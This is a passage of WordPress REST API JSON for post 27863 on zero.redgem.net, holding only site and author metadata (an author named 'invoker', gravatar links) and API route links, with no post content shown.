redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27863","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27863"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27863\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27863"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27863"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27863"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}